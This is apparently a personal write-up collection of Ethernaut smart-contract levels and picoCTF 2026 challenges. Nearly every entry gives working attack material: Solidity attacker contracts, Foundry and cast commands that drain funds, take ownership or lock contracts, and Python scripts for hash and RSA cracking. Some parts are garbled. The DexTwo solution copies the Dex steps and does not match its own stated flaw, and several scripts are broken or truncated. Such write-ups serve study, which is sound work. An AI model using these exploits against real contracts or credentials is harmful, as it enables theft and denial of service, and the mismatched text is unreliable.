Denial
Beginner
Understand how call and transfer works.This level demonstrates a denial‑of‑service vulnerability caused by unsafe use of call with unbounded gas forwarding.
Denial
BeginnerUnderstand how call and transfer works.This level demonstrates a denial‑of‑service vulnerability caused by unsafe use of call with unbounded gas forwarding.
Analysis
infinite gas loops as a weapon. simple and brutal.
call forwards all remaining gas to the receiver, enabling arbitrary code execution and potential gas-based denial-of-service attacks, while transfer sends Ether with a fixed 2300 gas stipend and reverts on failure, making it safer but sometimes incompatible with contracts that need more gas.
The Flaw:
ETH is sent to partner Then ETH is sent to owner.ETH sent to partner by using call and it forwards all remaining gas.if attacker contract has functions like receive() or fallback() Consume all gas or revert means Owner does NOT receive ETH and withdrawal is denies forever “
Solution
Deploy an Attacker contract (to become a partner) consists receive() or fallback() that burns gas/reverts.
Step-by-Step:
1.Deploy an Attacker contract which makes you partner. 2.Set yourself as partner using foundry script. 3.Verify the exploit whether the transaction will ran out of gas/revert or not
Attacker Contract (Solidity):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
contract AttackDenial {
receive() external payable {
while (true) {} // burn all gas
}
}
Foundry Scripts
# 1.Deploy Attacker Contract
forge create src/AttackDenial.sol:AttackDenial --private-key $PRIVATE_KEY --rpc-url $SEPOLIA_RPC_URL --broadcast
# 2. Set yourself as partner
cast send "setWithdrawPartner(address)" --private-key $PRIVATE_KEY
--rpc-url $SEPOLIA_RPC_URL
# 3. Verify the exploit
cast call "partner()(address)" --rpc-url $SEPOLIA_RPC_URL //checks partner is your attacker contract address or not.
</code></pre>
Dex
Intermediate
One will succeed in this level if they manage to drain each of at least one of the two tokens out of the contract, and allow the contract to report a `bad` price of the assets.
Dex
IntermediateOne will succeed in this level if they manage to drain each of at least one of the two tokens out of the contract, and allow the contract to report a `bad` price of the assets.
Analysis
the price formula looks fine until you realize you can swing it to infinity with enough swaps.
The Dex contract is a basic exchange that allows users to swap token1 for token2 and vice versa. The price is determined by the ratio of the tokens currently held by the contract
The Flaw: The vulnerability lies in the get_swap_price function: ((amount * target_Token_Balance) / source_Token_Balance)
Solution
To solve this, you need to perform a series of swaps. Since the price calculation is flawed, each swap increases your relative purchasing power.
Step-by-Step:
1.Swap 10 Token1 for Token2 Your balance becomes (0, 20). 2.Swap 20 Token2 for Token1 The ratio has changed, and you get more than 10 Token1 back. 3.Repeat Continue swapping your entire balance of the token you just received. 4.Final Swap On the last step, calculate exactly how much you need to swap to take the remaining balance of the contract.
Foundry Scripts
# 1.**Approve Dex**
cast send $TOKEN1 "approve(address,uint256)" $DEX 1000 --rpc-url $RPC --private-key $PK
cast send $TOKEN2 "approve(address,uint256)" $DEX 1000 --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY
# 2. **Swap 1(Token1 -> Token2)**
cast send $DEX "swap(address,address,uint256)" $TOKEN1 $TOKEN2 --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY
# 3.**Swap 2(Token2 -> Token1)**
cast send $DEX "swap(address,address,uint256)" $TOKEN2 $TOKEN1 --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY
// Perform sequence of swaps in order to drain atleast oneof the two Tokens
#4.**Verify the Balance**
cast call $DEX "balanceOf(address,address)" $TOKEN1 $DEX --rpc-url $SEPOLIA_RPC_URL
cast call $DEX "balanceOf(address,address)" $TOKEN2 $DEX --rpc-url $SEPOLIA_RPC_URL
//Atleast one token balance need to be 0x00
</code></pre>
DexTwo
Intermediate
One will succeed in this level if they manage to drain each of the two tokens out of the contract, and allow the contract to report a `bad` price of the assets.
DexTwo
IntermediateOne will succeed in this level if they manage to drain each of the two tokens out of the contract, and allow the contract to report a `bad` price of the assets.
Analysis
removing one require check opens the door to fake token injection. one line of missing validation.
The vulnerability in Dex Two is that the swap function no longer checks if the from and to token addresses are the official token1 or token2.
The Flaw: In the original Dex, there was a requirement that the tokens being swapped must be the ones the contract was designed for. In Dex Two, that check is missing. This means you can create a fake malicious token, mint a large amount to yourself, and “swap” your worthless fake tokens for the contract’s real token1 and token2.
Solution
To solve this, you need to perform a series of swaps. Since the price calculation is flawed, each swap increases your relative purchasing power.
Step-by-Step:
1.Swap 10 Token1 for Token2 Your balance becomes (0, 20). 2.Swap 20 Token2 for Token1 The ratio has changed, and you get more than 10 Token1 back. 3.Repeat Continue swapping your entire balance of the token you just received. 4.Final Swap On the last step, calculate exactly how much you need to swap to take the remaining balance of the contract.
Foundry Scripts
# 1.**Approve Dex**
cast send $TOKEN1 "approve(address,uint256)" $DEX 1000 --rpc-url $RPC --private-key $PK
cast send $TOKEN2 "approve(address,uint256)" $DEX 1000 --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY
# 2. **Swap 1(Token1 -> Token2)**
cast send $DEX "swap(address,address,uint256)" $TOKEN1 $TOKEN2 --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY
# 3.**Swap 2(Token2 -> Token1)**
cast send $DEX "swap(address,address,uint256)" $TOKEN2 $TOKEN1 --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY
// Perform sequence of swaps in order to drain atleast oneof the two Tokens
#4.**Verify the Balance**
cast call $DEX "balanceOf(address,address)" $TOKEN1 $DEX --rpc-url $SEPOLIA_RPC_URL
cast call $DEX "balanceOf(address,address)" $TOKEN2 $DEX --rpc-url $SEPOLIA_RPC_URL
//Atleast one token balance need to be 0x00
</code></pre>
PuzzleWallet
Intermediate
You need to hijack the wallet to become the admin of the proxy.
PuzzleWallet
IntermediateYou need to hijack the wallet to become the admin of the proxy.
Analysis
three bugs chained together — storage collision, broken access, and msg.value reuse. this one genuinely took me a while to untangle.
It consists of two contracts:
->Puzzle Proxy(proxy)
->Puzzle Wallet(implementation)
This challenge itself combines of 3 bugs:
->upgradeable proxy storage collision
->Broken access call via delegatecall
->Multicall msg.value reuse bug.
The Flaw: Because of delegate call both contracts share the same storage slots.As all know that solidity assigns storage by order of declaration so writing to pendingAdmin(slot0 of PuzzleProxy storage) overwrites owner (slot0 of PuzzleWallet storage) as well as writing to the Admin(slot1 of PuzzleProxy storage) overwrites maxBalance This is the entire exploit.
Solution
Step-by-Step:
-
Become wallet owner(via proxy) i.e, call proposeNewAdmin(attackerAddress); //This writes to pendingAdmin->slot0 but in wallet context owner->slot0 which results in owner=attacker.
-
whiteList yourself i.e, call addToWhitelist(attacker); //already owner->attacker and it requires require(msg.sender==owner)
3.Exploit Multicall i.e, we craft Multicalls //inner call: deposit() outer call: multicall([deposit(),multicall([deposit()])]) results is if we send 1 eth, balance becomes 2 eth
4.Drain the contract i.e, call execute(attacker,2 ether,””); //contract balance is 0.This is required for the final step.
5.Overwrite Admin i.e, call setMaxBalance(uint256(uint160(Attacker_address))); //maxBalance->slot1 which overwrites Admin but condition is require(address(this).balance==0) as we already drained it and the result is Admin=Attacker.
Exploiy Script (Foundry):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "../src/PuzzleWallet.sol";
contract ExploitPuzzleWallet is Script {
function run() external {
address attacker = msg.sender;
address proxyAddress = vm.envAddress("PROXY_ADDRESS");
PuzzleProxy proxy = PuzzleProxy(payable(proxyAddress));
PuzzleWallet wallet = PuzzleWallet(payable(proxyAddress));
vm.startBroadcast();
// 1. Become owner via storage collision (Slot 0)
proxy.proposeNewAdmin(attacker);
// 2. Whitelist attacker
wallet.addToWhitelist(attacker);
// 3. Build multicall exploit
// deposit calldata
bytes memory depositData = abi.encodeWithSelector(wallet.deposit.selector);
// inner multicall: [deposit()]
bytes[] memory inner = new bytes[](1);
inner[0] = depositData;
bytes memory innerCall = abi.encodeWithSelector(wallet.multicall.selector, inner);
// outer multicall: [deposit(), multicall(inner)]
bytes[] memory outer = new bytes[](2);
outer[0] = depositData;
outer[1] = innerCall;
// execute exploit: Sends 1 ETH but credits 2 ETH to your balance
wallet.multicall{value: 0.05 ether}(outer);
// 4. Drain ETH (Assuming contract had 1 ETH initially + your 1 ETH)
uint256 amount = address(wallet).balance;
wallet.execute(attacker, amount, "");
// 5. Overwrite admin (Slot 1 collision)
wallet.setMaxBalance(uint256(uint160(attacker)));
vm.stopBroadcast();
}
}
Shop
Intermediate
The shop sells an item for 100.Mission is to `scam` the shop into selling it to you for almost nothing
Shop
IntermediateThe shop sells an item for 100.Mission is to `scam` the shop into selling it to you for almost nothing
Analysis
two calls to the same view function, assuming the answer stays the same. it didn’t.
The main issue is that the Shop contract performs two external calls to an untrusted contract Buyer to get the same information.
The Flaw:
The Shop is a bit forgetful. When you try to buy the item, it asks you for the price twice.
First, to check if you can afford it or not.
Second, to decide how much to actually charge you.
Solution
Since the Shop updates its status to isSold = true right after the first check, we can create a “two-faced” contract. When the Shop asks the first time, we check isSold. It’s false, so we say “100.” When the Shop asks the second time, we check isSold again. It’s now true, so we say “1.
Attacker Contract (Solidity):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IShop {
function buy() external;
function isSold() external view returns (bool);
}
contract ShopAttacker {
IShop public shop;
constructor(address _shop) {
shop = IShop(_shop);
}
function price() external view returns (uint256) {
if (!shop.isSold()) {
return 101;
} else {
return 1;
}
}
function attack() external {
shop.buy();
}
}
Coin Flip
Intermediate
Exploit pseudo-randomness in Solidity by predicting the outcome of a coin flip using an attacker contract.
Coin Flip
IntermediateExploit pseudo-randomness in Solidity by predicting the outcome of a coin flip using an attacker contract.
Analysis
the moment I understood that block.number is public to everyone — randomness in solidity made zero sense to me anymore.
The CoinFlip contract relies on the block hash of the previous block
to generate a “random” number. In blockchain, this is deterministic —
meaning if you can calculate the value in the same block, you can predict
the result with 100% accuracy.
The Flaw:
The contract uses uint256(blockhash(block.number - 1)) as the source of
randomness. Since an attacker contract can call the target contract in the
same block, both will see the exact same block.number - 1 and therefore
the same “random” result.
Solution
Deploy your own attacker contract that performs the exact same math as the
victim contract and calls flip() with the predicted guess. Run it 10 times
across 10 separate blocks to hit the required consecutive win streak.
Attacker Contract (Solidity)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
contract CoinFlipAttacker {
ICoinFlip public target;
uint256 FACTOR =
57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _target) {
target = ICoinFlip(_target);
}
function attack() public {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
target.flip(side);
}
}
Delegation
Intermediate
Exploit the dangerous delegatecall function to hijack ownership of a proxy contract.
Delegation
IntermediateExploit the dangerous delegatecall function to hijack ownership of a proxy contract.
Analysis
delegatecall is the most dangerous opcode in solidity. this level is why.
The Delegation contract acts as a proxy that forwards calls to a Delegate contract using delegatecall.
The Flaw:
delegatecall is unique because it executes the code of the target contract but uses the storage, state, and context of the calling contract. This means if the Delegate contract changes a variable (like owner), it changes the variable in the Delegation (proxy) contract, not itself.
Technical Trigger:
In the fallback() function of the Delegation contract, any data sent to it is forwarded:
address(delegate).delegatecall(msg.data);
If we send the function signature for pwn(), the Delegate contract will execute its pwn() logic, but the owner variable inside the Delegation contract will be updated to our address.
Solution
You can solve this entirely through the browser console by triggering the fallback function with the encoded function signature of pwn().
Step-by-Step:
- Generate the Function Signature: You need the first 4 bytes of the Keccak-256 hash of the string
"pwn()". - Trigger the Fallback: Send a transaction to the
Delegationinstance with that signature in thedatafield. - Verify: Check the
ownervariable.
Console Commands:
```javascript // 1. Get the function selector for pwn() const pwnSignature = web3.utils.sha3(“pwn()”).slice(0, 10);
// 2. Send the transaction to trigger the fallback + delegatecall await contract.sendTransaction({ data: pwnSignature });
// 3. Confirm you are the new owner await contract.owner();
Elevator
Intermediate
Manipulate an elevator's logic by implementing a malicious Building contract that lies about its state.
Elevator
IntermediateManipulate an elevator's logic by implementing a malicious Building contract that lies about its state.
Analysis
the contract trusted an external interface to tell the truth. it didn’t. lesson learned.
The Elevator contract relies on an interface called Building. It calls a function isLastFloor(uint) to decide whether to set the top variable to true.
The Flaw:
The Elevator contract calls building.isLastFloor(_floor) twice in the same function:
- First, to check if it should move:
if (!building.isLastFloor(_floor)) - Second, to set the
topstatus:top = building.isLastFloor(_floor);
The Elevator assumes that isLastFloor will return the same result both times. However, since the Building is an interface, we provide the implementation. We can design our function to return false the first time and true the second time.
Solution
You need to deploy a contract that implements the Building interface and toggles a boolean state every time the function is called.
Attacker Contract (Solidity):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import "./Elevator.sol";
contract Attack is Building {
Elevator public elevator;
bool public toggle = true;
constructor(address _elevatorAddress) {
elevator = Elevator(_elevatorAddress);
}
function isLastFloor(uint) external returns (bool) {
toggle = !toggle; // first: false, second: true
return toggle;
}
function attack(uint _floor) public {
elevator.goTo(_floor);
}
}
Fallout
Beginner
Identify a critical typo in a contract's constructor that allows anyone to claim ownership.
Fallout
BeginnerIdentify a critical typo in a contract's constructor that allows anyone to claim ownership.
Analysis
a single character typo. that’s all it takes. stared at this for longer than i’d like to admit.
In older versions of Solidity (pre-0.4.22), constructors were defined by creating a function with the exact same name as the contract.
In this challenge, the contract is named Fallout, but the “constructor” function is named Fal1out (with a ‘1’ instead of an ‘l’). Because the names do not match, Solidity treats Fal1out() as a regular public function that can be called by anyone at any time.
The Flaw:
The
Fal1out()function contains the logicowner = msg.sender;. Since it is public, any user can call it to hijack the contract.
Solution
The exploit is extremely straightforward because the “constructor” is just a standard public function.
Step-by-Step:
-
Call the Misspelled Function Interact with the contract and call the
Fal1out()function. Since it is payable, you can send 0 value or a small amount. -
Verify Ownership Check the
owner()variable to confirm your address is now the owner.
Example Console Command:
```javascript // Call the misspelled ‘constructor’ await contract.Fal1out({ value: toWei(‘0.0001’) });
// Verify you are the owner await contract.owner();
Fallback
Beginner
Understand how fallback functions and payable mechanics can be exploited to hijack contract ownership.
Fallback
BeginnerUnderstand how fallback functions and payable mechanics can be exploited to hijack contract ownership.
Analysis
simpler than it looks — once you realize the fallback function is basically an unlocked backdoor, the whole exploit clicks instantly.
The vulnerability exists because the fallback function is payable
and contains logic that assigns the owner variable to msg.sender.
Key Conditions for Exploitation:
- You must have a contribution balance > 0 (via
contribute()). - You must send a transaction with value > 0 directly to the contract address.
Solution
- Contribute:
await contract.contribute({ value: toWei('0.0001') }) - Trigger Fallback:
await contract.sendTransaction({ to: contract.address, value: toWei('0.0001') }) - Drain:
await contract.withdraw()
Force
Intermediate
Force-feed Ether to a contract that has no payable functions using the selfdestruct opcode.
Force
IntermediateForce-feed Ether to a contract that has no payable functions using the selfdestruct opcode.
Analysis
you can’t defend against selfdestruct. that realization sat with me for a while.
The Force contract is completely empty. It has no functions, no fallback, and no receive mechanism. Normally, if you try to send Ether to this contract, the transaction will fail.
The Flaw:
There is a way to force Ether into any contract address regardless of its code: the selfdestruct opcode. When a contract is destroyed via selfdestruct(target_address), all of its remaining Ether is sent to the target_address forcibly. This transfer happens at the EVM level and cannot be blocked by the receiving contract.
Solution
The level is solved by deploying a temporary exploit contract that immediately calls selfdestruct in its constructor.. When a contract selfdestructs, its Ether balance is forcibly transferred to the specified target address.
Exploiy Script (Foundry):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import "forge-std/Script.sol";
contract ForceExploit {
constructor(address payable target) payable {
// Force the contract balance into `target` and destroy this contract.
selfdestruct(target);
}
}
contract ExploitAgainstInstance is Script {
function run() external {
// Read the target instance address from env var INSTANCE_ADDRESS
address payable target = payable(vm.envAddress("INSTANCE_ADDRESS"));
// Start broadcasting using the private key passed via CLI (--private-key)
vm.startBroadcast();
// Deploy the exploit contract with 1 wei; its constructor selfdestructs into target
new ForceExploit{value: 1 wei}(target);
vm.stopBroadcast();
}
}
Gatekeeper One
Hard
Pass three complex security gates involving tx.origin, precise gas calculation, and bitwise masking.
Gatekeeper One
HardPass three complex security gates involving tx.origin, precise gas calculation, and bitwise masking.
Analysis
gate 2 broke me. brute-forcing the gas offset felt dirty but it worked.
- Gate 1: Requires
msg.sender != tx.origin. This is bypassed by using an attacker contract. - Gate 2: Requires
gasleft() % 8191 == 0. This is the hardest part; you must provide a precise amount of gas so that when the execution reaches this line, the remaining gas is a multiple of 8191. - Gate 3: Requires specific bitwise equalities between a
bytes8key andtx.origin.
[Image of Solidity bitwise masking and data type casting logic]
Gate 3 Logic Breakdown:
uint32(uint64(_gateKey)) == uint16(uint64(_gateKey))uint32(uint64(_gateKey)) != uint64(_gateKey)uint32(uint64(_gateKey)) == uint16(uint16(tx.origin))
Solution
The key is derived from your tx.origin address using a mask: tx.origin & 0xFFFFFFFF0000FFFF. To solve Gate 2, we use a brute-force loop in a script to find the exact gas offset.
Attacker Contract (Solidity):
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
interface IGateKeeperOne{
function enter(bytes8 _gatekey) external returns(bool);
}
contract AttackGateOne{
IGateKeeperOne public target;
constructor( address _target){
target=IGateKeeperOne(_target);
}
function attack() external{
bytes8 gatekey =bytes8(uint64(uint160(tx.origin))& 0xFFFFFFFF0000FFFF);
for(uint256 i=0;i<8191;i++){
uint256 gasToTry =8191 * 10 + i;
(bool ok,)=address(target).call{gas: gasToTry}(abi.encodeWithSignature("enter(bytes8)",gatekey));
if(ok){
break;
}
}
}
}
Gatekeeper Two
Hard
Bypass assembly-level code size checks and solve a bitwise XOR equation.
Gatekeeper Two
HardBypass assembly-level code size checks and solve a bitwise XOR equation.
Analysis
extcodesize == 0 during constructor — the kind of trick that makes you appreciate how weird the EVM really is.
- Gate 1: Standard
msg.sender != tx.origin(use a contract). - Gate 2: Uses assembly
extcodesize(caller())and requires it to be0.The Trick: During a contract’s
constructor, itsextcodesizeis still 0. The attack must happen entirely within the constructor. - Gate 3: Requires
uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max.
Solution
In XOR operations, if $A \oplus B = C$, then $A \oplus C = B$. We can calculate the required _gateKey by XORing the hash of the attacker’s address with the maximum uint64 value.
Attacker Contract (Solidity):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
interface IGateKeeperTwo{
function enter(bytes8 _gatekey) external returns(bool);
}
contract AttackGateTwo{
IGateKeeperTwo public gatekeeper;
constructor(address _gatekeeper){
gatekeeper=IGateKeeperTwo(_gatekeeper);
bytes8 key=bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this)))))^type(uint64).max);
IGateKeeperTwo(gatekeeper).enter(key);
}
}
King
Intermediate
Claim the throne and remain King forever by creating a contract that refuses to accept Ether.
King
IntermediateClaim the throne and remain King forever by creating a contract that refuses to accept Ether.
Analysis
elegant. one contract that just refuses to accept ether — and the whole game breaks. love this one.
The King contract works like a game: to become the new king, you must send more Ether than the current “prize.” When someone does this, the contract sends the previous prize back to the old king:
payable(king).transfer(msg.value);
The Flaw:
The contract uses transfer() to send funds to the previous king. In Solidity, transfer() has a fixed gas limit and throws an error if the recipient’s code execution fails or if the recipient is a contract that cannot receive Ether.
If the current King is a contract that does not have a receive() or fallback() function, the transfer() call will always fail and revert. This prevents anyone else from ever becoming the new King, as the transaction will always roll back.
Solution
You must deploy an “Indestructible King” contract that becomes the king but lacks any logic to accept incoming Ether.
Exploit Script (Foundry):
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import "forge-std/Script.sol";
contract KingLock {
constructor(address payable _king) payable {
(bool ok, ) = _king.call{value: msg.value}("");
require(ok, "become king failed");
}
receive() external payable {
revert("I will not accept payment");
}
}
contract ExploitKingInstance is Script {
function run() external {
address instance = vm.envAddress("INSTANCE_ADDR");
uint256 pk = vm.envUint("PRIVATE_KEY");
vm.startBroadcast(pk);
// Deploy KingLock and send 0.002 ether to become king on the instance
new KingLock{value: 0.002 ether}(payable(instance));
vm.stopBroadcast();
}
}
MagicNumber
Beginner
providing the Ethernaut with a Solver(code size is 10 bytes at most), a contract that responds to whatIsTheMeaningOfLife() with the right 32 byte number..
MagicNumber
Beginnerproviding the Ethernaut with a Solver(code size is 10 bytes at most), a contract that responds to whatIsTheMeaningOfLife() with the right 32 byte number..
Analysis
10 bytes of raw EVM bytecode. no solidity. closest i’ve felt to talking directly to the machine.
The MagicNum contract requires you to provide a solver contract that responds to whatIsTheMeaningOfLife() and returns the number 42, encoded as a 32-byte value.
At first glance, this appears trivial. However, the challenge introduces a strict constraint: the solver contract’s runtime bytecode must be at most 10 bytes. This makes it impossible to use Solidity, as even the smallest compiled Solidity contract exceeds this limit.
Ethereum contracts are deployed in two phases:
- Creation bytecode – executed once during deployment
- Runtime bytecode – stored on-chain and executed on every call
The MagicNumber level validates the runtime bytecode size, not the creation code. Therefore, the solution must manually craft raw EVM bytecode.
Solution
1 . Minimal Runtime Bytecode
The smallest possible EVM bytecode that returns 42 as a 32-byte value is:
602a60005260206000f3
This bytecode:
- Pushes
42onto the stack - Stores it in memory
- Returns exactly 32 bytes
The runtime size is exactly 10 bytes, satisfying the constraint.
2 . Creation Bytecode Wrapper
Since runtime bytecode must be returned during deployment, it is wrapped inside a small creation prefix.
600a600c600039600a6000f3602a60005260206000f3
Foundry Scripts
# 1 .Deploy the solver contract
cast send --rpc-url "$SEPOLIA_RPC_URL" --private-key "$PRIVATE_KEY" --gas-price 20gwei --create 0X600a600c600039600a6000f3602a60005260206000f3
// returns SOLVER_ADDRESS
# 2 . Set the solver in MagicNumber
cast send "$MAGICNUM_INSTANCE" "setSolver(address)" --private-key "$PRIVATE_KEY" --rpc-url "$SEPOLIA_RPC_URL"
</code></pre>
Naught Coin
Intermediate
Bypass a 10-year lock-up period by utilizing the ERC20 transferFrom function instead of the restricted transfer function.
Naught Coin
IntermediateBypass a 10-year lock-up period by utilizing the ERC20 transferFrom function instead of the restricted transfer function.
Analysis
locked the transfer function. forgot transferFrom exists. happens in real protocols too.
The NaughtCoin contract implements an ERC20 token where the transfer function is overridden with a modifier called lockTokens. This modifier prevents you from transferring tokens for 10 years.
The Flaw: The ERC20 standard has two ways to move tokens:
transfer(address _to, uint256 _value)approve(address _spender, uint256 _value)followed bytransferFrom(address _from, address _to, uint256 _value)
The NaughtCoin contract only applied the 10-year lock to the transfer function. It completely forgot to override or restrict the transferFrom function.
Solution
You can solve this by acting as both the Owner and the Spender. You will “approve” yourself (or another address you own) to spend your tokens, then call transferFrom to bypass the lockTokens modifier.
Step-by-Step:
- Check Balance: Confirm you have 1,000,000 tokens (multiplied by decimals).
- Approve yourself: Grant yourself permission to spend your own tokens.
- Transfer From: Call
transferFromto send the tokens to a different address.
Foundry Scripts
# 1. Get your current balance
cast call "$NAUGHT_INSTANCE" "balanceOf(address)(uint256)" "$PLAYER_ADDRESS" --rpc-url "$SEPOLIA_RPC_URL"
# 2. Approve yourself to spend your own tokens
cast send "$NAUGHT_INSTANCE" "approve(address,uint256)" "$PLAYER_ADDRESS" 1000000000000000000000000 --private-key "$PRIVATE_KEY" --rpc-url "$SEPOLIA_RPC_URL"
# 3. Transfer tokens using transferFrom
cast send "$NAUGHT_INSTANCE" "transferFrom(address,address,uint256)" "$PLAYER_ADDRESS" 0x000000000000000000000000000000000000dEaD 1000000000000000000000000 --private-key "$PRIVATE_KEY" --rpc-url "$SEPOLIA_RPC_URL"
# 4. Verify final balance
cast call "$NAUGHT_INSTANCE" "balanceOf(address)(uint256)" "$PLAYER_ADDRESS" --rpc-url "$SEPOLIA_RPC_URL"
picoCTF 2026: 13
Beginner
Applying the ROT13 substitution cipher to decode scrambled flag data.
picoCTF 2026: 13
BeginnerApplying the ROT13 substitution cipher to decode scrambled flag data.
Description
Cryptography can be as simple as shifting letters. Can you see what is hidden behind this rotation?
Analysis
classic ROT13 — warm up challenge, but a good reminder that simple ciphers still trip people up.
The challenge name “13” refers to ROT13, a specific type of Caesar cipher. Each letter in the plaintext is replaced by the letter 13 positions further down the alphabet.
Solution
While a manual loop works, Python’s codecs library provides a highly efficient, one-line way to handle ROT13 transformations. This method is cleaner and handles the character rotation internally.
Python Exploit Script:
```python import codecs
The scrambled ciphertext from the challenge
ciphertext = “cvpbPGS{ab_guvf_vf_n_p1cure_2026}”
def solve(): # codecs.encode() with ‘rot_13’ works for both encryption and decryption flag = codecs.encode(ciphertext, ‘rot_13’) print(f”Decoded Flag: {flag}”)
solve()
picoCTF 2026: Not TRUe
Hard
Breaking the NTRU lattice-based cryptosystem using the LLL lattice reduction algorithm.
picoCTF 2026: Not TRUe
HardBreaking the NTRU lattice-based cryptosystem using the LLL lattice reduction algorithm.
Description
The scouts have upgraded to post-quantum encryption. They claim it’s ‘TRUe’ security, but we suspect their implementation might be flawed.
Analysis
first time i ran LLL reduction on an actual NTRU lattice. watching the private key fall out of the matrix was genuinely wild.
This challenge implements the NTRU cryptosystem. NTRU’s security is based on the hard problem of finding the shortest vector in a high-dimensional lattice. However, if the dimension $N$ is small or the coefficients are poorly chosen, we can use Lattice Reduction techniques like the LLL Algorithm to recover the private key.
Solution
I used the SageMath environment (or a Python script with a lattice library) to construct the NTRU lattice. By applying LLL reduction to the basis matrix, the private key $f$ appears in the resulting reduced matrix.
Python (SageMath) Exploit Script:
```python
Parameters from the challenge
N = 167 p = 3 q = 128 h = […] # The public key polynomial coefficients
Construct the NTRU Lattice Matrix
[ I H ]
[ 0 qI ]
def solve_ntru(): # Create the matrix M = matrix.identity(2*N) for i in range(N): for j in range(N): M[i, N+j] = h[(j-i)%N] M[N+i, N+i] = q
# Apply LLL Reduction
M_reduced = M.LLL()
# The first row often contains the private key f
f_poly = M_reduced[0][:N]
print(f"Recovered f: {f_poly}")
# From here, use f to decrypt the ciphertext...
solve_ntru()
picoCTF 2026: access_control
Beginner
Bypassing weak ownership checks to call restricted administrative functions.
picoCTF 2026: access_control
BeginnerBypassing weak ownership checks to call restricted administrative functions.
Description
The contract has a claimFlag() function that only the “owner” should be able to call. Can you become the owner?
Analysis
unprotected init() function. the kind of bug that shows up in real audits more than people admit.
The contract uses a simple address public owner variable. However, the initialization function or a “renounceOwnership” function is poorly implemented, allowing any user to overwrite the owner variable.
Solution
I identified a function init() that was not protected by a constructor or an “initialized” boolean. Calling this allowed me to set my own address as the owner.
Execution:
```bash cast send $CONTRACT “init()” –private-key $PRIVATE_KEY –rpc-url $SEPOLIA_RPC_URL cast send $CONTRACT “claimFlag()” –private-key $PRIVATE_KEY –rpc-url $SEPOLIA_RPC_URL
picoCTF 2026: black cobra pepper
Intermediate
Brute-forcing a peppered hash by iterating through a wordlist with character injection.
picoCTF 2026: black cobra pepper
IntermediateBrute-forcing a peppered hash by iterating through a wordlist with character injection.
Description
We’ve intercepted a hashed password from the ‘Black Cobra’ squad. They use a secret ‘pepper’ to spice up their security. Can you find the original password?
Analysis
a one-character pepper sounds strong until you realize the search space is just 62 characters.
A Pepper is a secret constant added to a password before hashing. Unlike a salt, it is not stored in the database. However, if the pepper is short (e.g., a single alphanumeric character), it only adds a small amount of entropy. We can defeat this by appending every possible pepper character to every word in our dictionary.
Solution
I implemented a Python script to automate the “pepper-injection” attack. I used the hashlib library to hash each combination of word + pepper until I found a match for the target hash.
Python Exploit Script:
```python import hashlib import string
Target hash from the challenge
target_hash = “7e7e…[redacted]…8f2a”
Possible pepper characters (a-z, A-Z, 0-9)
peppers = string.ascii_letters + string.digits
def crack_pepper(): # Using the standard rockyou wordlist with open(“rockyou.txt”, “r”, encoding=”latin-1”) as f: for line in f: password = line.strip() for char in peppers: # Attempt: Password + Single Character Pepper attempt = password + char guess = hashlib.sha256(attempt.encode()).hexdigest()
if guess == target_hash:
print(f"[+] Found! Password: {password}, Pepper: {char}")
print(f"Full Flag: picoCTF}")
return
crack_pepper()
picoCTF 2026: cluster rsa
Hard
Breaking multiple RSA public keys by identifying shared prime factors through Batch GCD analysis.
picoCTF 2026: cluster rsa
HardBreaking multiple RSA public keys by identifying shared prime factors through Batch GCD analysis.
Description
The Interstellar communication hub uses a massive cluster of RSA keys to secure its traffic. However, we suspect their entropy source is flawed. Can you find a way into the system?
Analysis
batch GCD on a cluster of weak keys — the moment gcd(n1, n2) returned something other than 1, i knew it was over for them.
The security of RSA depends on the difficulty of factoring $n = p \times q$. However, if two different public keys $n_1$ and $n_2$ share a prime factor (e.g., $p$), that prime can be found easily using the Euclidean Algorithm: $p = \gcd(n_1, n_2)$.
Once $p$ is recovered, we can find $q = n / p$, calculate the private exponent $d$, and decrypt the message.
Solution
I used a Python script to iterate through the provided list of $n$ values. For each key, I checked its GCD against every other key in the cluster.
Python Exploit Script:
```python import math from Crypto.PublicKey import RSA from Crypto.Util.number import inverse, long_to_bytes
List of modulus values (n) from the challenge
moduli = [n1, n2, n3, …] target_n = … # The specific n that encrypted our flag target_e = 65537 ciphertext = …
def batch_gcd(): for i in range(len(moduli)): for j in range(i + 1, len(moduli)): n1 = moduli[i] n2 = moduli[j] p = math.gcd(n1, n2)
# If gcd is not 1, we found a shared prime!
if p > 1:
print(f"Found shared prime p: {p}")
q = target_n // p
phi = (p - 1) * (q - 1)
d = inverse(target_e, phi)
# Decrypt the flag
plaintext = pow(ciphertext, d, target_n)
print(f"Flag: {long_to_bytes(plaintext)}")
return
batch_gcd()
picoCTF 2026: cryptomaze
Intermediate
Solving an encrypted pathfinding puzzle using BFS and bitwise XOR logic.
picoCTF 2026: cryptomaze
IntermediateSolving an encrypted pathfinding puzzle using BFS and bitwise XOR logic.
Description
You are trapped in a digital maze. Every door is locked with a bitwise challenge. Find the path to the exit to recover the interstellar map coordinates.
Analysis
BFS + XOR conditions — two things i didn’t expect to see in the same challenge.
The ‘maze’ is represented as a graph where each node is a 16-byte hex string. To move between connected nodes, the transition must satisfy a specific XOR condition. This is a classic Breadth-First Search (BFS) problem combined with cryptographic checks.
Solution
